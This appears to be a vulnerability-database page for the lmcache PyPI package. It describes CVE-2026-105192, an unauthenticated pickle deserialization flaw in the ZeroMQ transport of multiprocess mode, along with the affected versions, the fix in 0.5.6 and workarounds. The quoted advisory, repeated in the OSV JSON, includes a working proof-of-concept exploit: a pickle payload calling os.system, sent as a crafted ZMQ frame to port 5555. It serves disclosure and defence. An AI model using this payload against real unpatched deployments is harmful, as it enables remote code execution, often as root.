Vulnerabilities in pkg:pypi/lmcache

PACKAGE
Advisory Identifier: GHSA-w5f2-9q9c-ff4h
Advisory Summary

CVE-2026-105192 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-306: Missing Authentication for Critical Function) affecting LMCache libraries in the PyPI ecosystem. The issue involves remote code execution via unsafe deserialization in multiprocess mode transport. Remediation is available by upgrading affected packages to version 0.5.6.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/lmcache

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/lmcache. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-w5f2-9q9c-ff4h CVE-2026-105192 CRITICAL LMCache: Remote code execution via unsafe deserialization in multiprocess mode transport
GHSA-vv44-hjm2-qw2f - CRITICAL Duplicate Advisory: Remote code execution via unsafe deserialization in multiprocess mode transport
GHSA-3hh9-752g-5g22 CVE-2026-10813 LOW LMCache: 16-bit multimodal hash collision can poison KV cache entries

CVE-2026-105192 at a Glance

CVE Identifier CVE-2026-105192
GHSA Identifier GHSA-w5f2-9q9c-ff4h
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product LMCache
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-105192

To remediate this vulnerability, upgrade all affected LMCache dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

lmcache fixed: 0.5.6
pip install lmcache>=0.5.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show lmcache

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-105192, inspect your installed packages using pip:

pip show lmcache

Analyze the terminal output to locate any version of LMCache in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.6), your application is affected.

Note: The pip show lmcache command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In LMCache, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary LMCache is vulnerable to Unauthenticated Remote Code Execution via Pickle Deserialization on the Multiprocess ZMQ Transport ### Details LMCache multiprocess mode, also called distributed mode, opens an unauthenticated ZeroMQ ROUTER so worker processes can register and share KV cache blocks. The intended clients are sibling LMCache processes. There is no CURVE, ZAP, password, or message authentication on that socket. LMCache used only inside a vLLM process does not open this port. The transport binds to localhost unless the operator sets a routable address with --host, which is how multi-node deployments let peers connect. The 9.8 score is for that routable configuration. A stock single-host install that leaves the default bind is not reachable from other machines. Messages on the socket are msgpack. Extension code 1 is registered for DeviceIPCWrapper and is passed to DeviceIPCWrapper.Deserialize in lmcache/v1/platform/base/ipc_wrapper.py, which calls pickle.loads. That hook runs from ext_hook in lmcache/v1/multiprocess/custom_types.py while the server is still decoding REGISTER_KV_CACHE arguments, before the handler runs. A single unauthenticated ZMQ DEALER message to the transport port (default 5555) therefore executes code as the user the LMCache process runs as. Official container images run that process as root. The decode path shipped in v0.3.9. It is still present in the latest PyPI release, v0.5.5, in the v0.5.6 release candidates through v0.5.6rc3, and on the dev branch as of 2026-10-07. No fixed version has been published. ### Proof of concept Step 1 - Start multiprocess mode bound to a routable address This is the documented multi-node setting. The ZMQ transport listens on port 5555. ``` python -m lmcache.v1.multiprocess.http_server \ --http-host 127.0.0.1 --http-port 8080 \ --host 0.0.0.0 --port 5555 \ --l1-size-gb 0.25 --eviction-policy LRU \ --hash-algorithm blake3 --instance-id mp-node-01 ``` Step 2 - Build a REGISTER_KV_CACHE frame whose cache slot is a pickle Payload slot 1 is a msgpack extension with code 1. The server unpickles that body while it is still decoding arguments. The command writes id to /tmp/zmq_pwn. ``` import os import pickle import msgspec import zmq class EvilPayload: def __init__(self, cmd): self.cmd = cmd def __reduce__(self): return (os.system, (self.cmd,)) evil_pickle = pickle.dumps(EvilPayload("id > /tmp/zmq_pwn 2>&1")) REGISTER_KV_CACHE = 1 EXT_CODE = 1 NUM_PAYLOADS = 7 KVCACHE_INDEX = 1 b_uid = msgspec.msgpack.encode(0) b_type = msgspec.msgpack.encode(REGISTER_KV_CACHE) payloads = [msgspec.msgpack.encode(None)] * NUM_PAYLOADS payloads[0] = msgspec.msgpack.encode(0) payloads[KVCACHE_INDEX] = msgspec.msgpack.encode( [msgspec.msgpack.Ext(EXT_CODE, evil_pickle)] ) frames = [b_uid, b_type, *payloads] ``` Step 3 - Send the frame ``` ctx = zmq.Context() s = ctx.socket(zmq.DEALER) s.connect("tcp://127.0.0.1:5555") s.send_multipart(frames) ``` The pickle runs during argument decode. The server then logs a type error for REGISTER_KV_CACHE because the handler expected a DeviceIPCWrapper and received the return value of os.system. That error is after the command has already run. Step 4 - Confirm the command ran as the LMCache user ``` cat /tmp/zmq_pwn ``` Expected output on an official image, where the process runs as root: ``` uid=0(root) gid=0(root) groups=0(root) ``` ### Impact LMCache's multiprocess (MP) mode uses a ZeroMQ transport (port 5555 by default) that does not require authentication. Device IPC descriptors received on this transport were deserialized with `pickle.loads`. An attacker who can reach the transport port can send a single crafted message and execute arbitrary code with the privileges of the LMCache process. By default the transport binds to localhost, and single-process (in-process) mode does not open the port. Deployments are exposed when the transport binds a routable address, as multi-node setups do. The project's example Kubernetes deployment bound all interfaces, and official container images ran as root, so deployments based on them should be treated as exposed. Affected: 0.3.9 through 0.5.5, the 0.5.6 release candidates, and `dev` branch builds before PR #5644. ### Patches Fixed in **0.5.6**. Pickle has been replaced with versioned, typed MessagePack descriptors that are validated before use; the device wrapper type is selected from a fixed local allowlist, and there is no pickle fallback. Both the ZeroMQ and gRPC transport paths are covered. The wire format has changed: upgrade all workers and servers together. 0.5.6 also binds the example Kubernetes deployment to localhost (PR #5684) and runs official images as a non-root user (PR #5685). ### Workarounds Until you can upgrade: - Do not bind the transport to a routable address; keep it on localhost or a trusted cluster network. - Restrict access to the transport port (5555 by default) with firewall rules or network policies. - Run LMCache as a non-root user (build from the provided Dockerfile if needed). If the transport port was ever reachable from an untrusted network, treat the host as potentially compromised: review connections to the port, check for unexpected processes or outbound connections from the LMCache process, rotate reachable credentials, and redeploy from clean images.

CVE-2026-105192 Affected LMCache Versions

1 component(s)
Fixed Versions:
0.5.6
Product / Package Ecosystem Affected Versions Fixed Version
lmcache
PyPI
≥ 0.3.9
< 0.5.6
0.5.6

References

Frequently Asked Questions

What is CVE-2026-105192?
CVE-2026-105192 is a security vulnerability in LMCache involving Remote code execution via unsafe deserialization in multiprocess mode transport under CWE-306: Missing Authentication for Critical Function.
Which LMCache versions are affected?
Affected versions include releases prior to 0.5.6 across affected packages: lmcache.
What version fixes CVE-2026-105192?
Upgrading to 0.5.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is lmcache affected?
Yes, lmcache is affected in releases prior to 0.5.6. Upgrade your dependency to 0.5.6 or later.
What is the CVSS score of CVE-2026-105192?
CVE-2026-105192 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-105192?
CVE-2026-105192 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check PyPI dependencies for CVE-2026-105192?
Run the dependency tree command: 'pip show lmcache'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w5f2-9q9c-ff4h",
  "modified" : "2026-10-16T20:09:10Z",
  "published" : "2026-10-16T20:08:44Z",
  "aliases" : [ "CVE-2026-105192" ],
  "summary" : "LMCache: Remote code execution via unsafe deserialization in multiprocess mode transport",
  "details" : "### Summary\n\nLMCache is vulnerable to Unauthenticated Remote Code Execution via Pickle Deserialization on the Multiprocess ZMQ Transport\n\n\n\n### Details\n\nLMCache multiprocess mode, also called distributed mode, opens an unauthenticated ZeroMQ ROUTER so worker processes can register and share KV cache blocks. The intended clients are sibling LMCache processes. There is no CURVE, ZAP, password, or message authentication on that socket. LMCache used only inside a vLLM process does not open this port. The transport binds to localhost unless the operator sets a routable address with --host, which is how multi-node deployments let peers connect. The 9.8 score is for that routable configuration. A stock single-host install that leaves the default bind is not reachable from other machines.\n\nMessages on the socket are msgpack. Extension code 1 is registered for DeviceIPCWrapper and is passed to DeviceIPCWrapper.Deserialize in lmcache/v1/platform/base/ipc_wrapper.py, which calls pickle.loads. That hook runs from ext_hook in lmcache/v1/multiprocess/custom_types.py while the server is still decoding REGISTER_KV_CACHE arguments, before the handler runs. A single unauthenticated ZMQ DEALER message to the transport port (default 5555) therefore executes code as the user the LMCache process runs as. Official container images run that process as root.\n\nThe decode path shipped in v0.3.9. It is still present in the latest PyPI release, v0.5.5, in the v0.5.6 release candidates through v0.5.6rc3, and on the dev branch as of 2026-10-07. No fixed version has been published.\n\n\n\n### Proof of concept\n\nStep 1 - Start multiprocess mode bound to a routable address\n\n\nThis is the documented multi-node setting. The ZMQ transport listens on port 5555.\n\n```\n   python -m lmcache.v1.multiprocess.http_server \\\n    --http-host 127.0.0.1 --http-port 8080 \\\n    --host 0.0.0.0 --port 5555 \\\n    --l1-size-gb 0.25 --eviction-policy LRU \\\n    --hash-algorithm blake3 --instance-id mp-node-01\n```\nStep 2 - Build a REGISTER_KV_CACHE frame whose cache slot is a pickle\n\n\nPayload slot 1 is a msgpack extension with code 1. The server unpickles that body while it is still decoding arguments. The command writes id to /tmp/zmq_pwn.\n\n```\nimport os\nimport pickle\nimport msgspec\nimport zmq\n\nclass EvilPayload:\n    def __init__(self, cmd):\n        self.cmd = cmd\n    def __reduce__(self):\n        return (os.system, (self.cmd,))\n\nevil_pickle = pickle.dumps(EvilPayload(\"id > /tmp/zmq_pwn 2>&1\"))\n\nREGISTER_KV_CACHE = 1\nEXT_CODE = 1\nNUM_PAYLOADS = 7\nKVCACHE_INDEX = 1\n\nb_uid = msgspec.msgpack.encode(0)\nb_type = msgspec.msgpack.encode(REGISTER_KV_CACHE)\npayloads = [msgspec.msgpack.encode(None)] * NUM_PAYLOADS\npayloads[0] = msgspec.msgpack.encode(0)\npayloads[KVCACHE_INDEX] = msgspec.msgpack.encode(\n    [msgspec.msgpack.Ext(EXT_CODE, evil_pickle)]\n)\nframes = [b_uid, b_type, *payloads]\n```\nStep 3 - Send the frame\n\n\n```\nctx = zmq.Context()\ns = ctx.socket(zmq.DEALER)\ns.connect(\"tcp://127.0.0.1:5555\")\ns.send_multipart(frames)\n```\nThe pickle runs during argument decode. The server then logs a type error for REGISTER_KV_CACHE because the handler expected a DeviceIPCWrapper and received the return value of os.system. That error is after the command has already run.\n\n\nStep 4 - Confirm the command ran as the LMCache user\n\n\n```\ncat /tmp/zmq_pwn\n```\nExpected output on an official image, where the process runs as root:\n\n```\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Impact\n\nLMCache's multiprocess (MP) mode uses a ZeroMQ transport (port 5555 by default) that does not require authentication. Device IPC descriptors received on this transport were deserialized with `pickle.loads`. An attacker who can reach the transport port can send a single crafted message and execute arbitrary code with the privileges of the LMCache process.\n\nBy default the transport binds to localhost, and single-process (in-process) mode does not open the port. Deployments are exposed when the transport binds a routable address, as multi-node setups do. The project's example Kubernetes deployment bound all interfaces, and official container images ran as root, so deployments based on them should be treated as exposed.\n\nAffected: 0.3.9 through 0.5.5, the 0.5.6 release candidates, and `dev` branch builds before PR #5644.\n\n\n### Patches\n\nFixed in **0.5.6**. Pickle has been replaced with versioned, typed MessagePack descriptors that are validated before use; the device wrapper type is selected from a fixed local allowlist, and there is no pickle fallback. Both the ZeroMQ and gRPC transport paths are covered.\n\nThe wire format has changed: upgrade all workers and servers together.\n\n0.5.6 also binds the example Kubernetes deployment to localhost (PR #5684) and runs official images as a non-root user (PR #5685).\n\n### Workarounds\n\nUntil you can upgrade:\n\n- Do not bind the transport to a routable address; keep it on localhost or a trusted cluster network.\n- Restrict access to the transport port (5555 by default) with firewall rules or network policies.\n- Run LMCache as a non-root user (build from the provided Dockerfile if needed).\n\nIf the transport port was ever reachable from an untrusted network, treat the host as potentially compromised: review connections to the port, check for unexpected processes or outbound connections from the LMCache process, rotate reachable credentials, and redeploy from clean images.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "lmcache"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.3.9"
      }, {
        "fixed" : "0.5.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/LMCache/LMCache/security/advisories/GHSA-w5f2-9q9c-ff4h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-105192"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LMCache/LMCache/pull/5644"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LMCache/LMCache/pull/5684"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LMCache/LMCache/pull/5685"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LMCache/LMCache/commit/160b6dec469edb765efd1fad42aca5a438b08bb5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LMCache/LMCache/commit/62f74c417dfe1ba56761733fd25dc8209a192f20"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LMCache/LMCache/commit/767c7e367bbdc357c445cf7bd2ed259cff8d5865"
  }, {
    "type" : "WEB",
    "url" : "https://blog.lmcache.ai/en/2026/10/13/an-update-on-cve-2026-105192"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/LMCache/LMCache"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LMCache/LMCache/blob/v0.3.9/lmcache/v1/multiprocess/custom_types.py"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LMCache/LMCache/blob/v0.5.5/lmcache/v1/platform/base/ipc_wrapper.py"
  }, {
    "type" : "WEB",
    "url" : "https://research.jfrog.com/vulnerabilities/lmcache-is-vulnerable-to-unauthenticated-remote-code-execution-via-pickle-deserialization-on-the-multiprocess-zmq-transport-cve-2026-105192-jfsa-2026-001694382"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-16T20:08:44Z",
    "nvd_published_at" : null
  }
}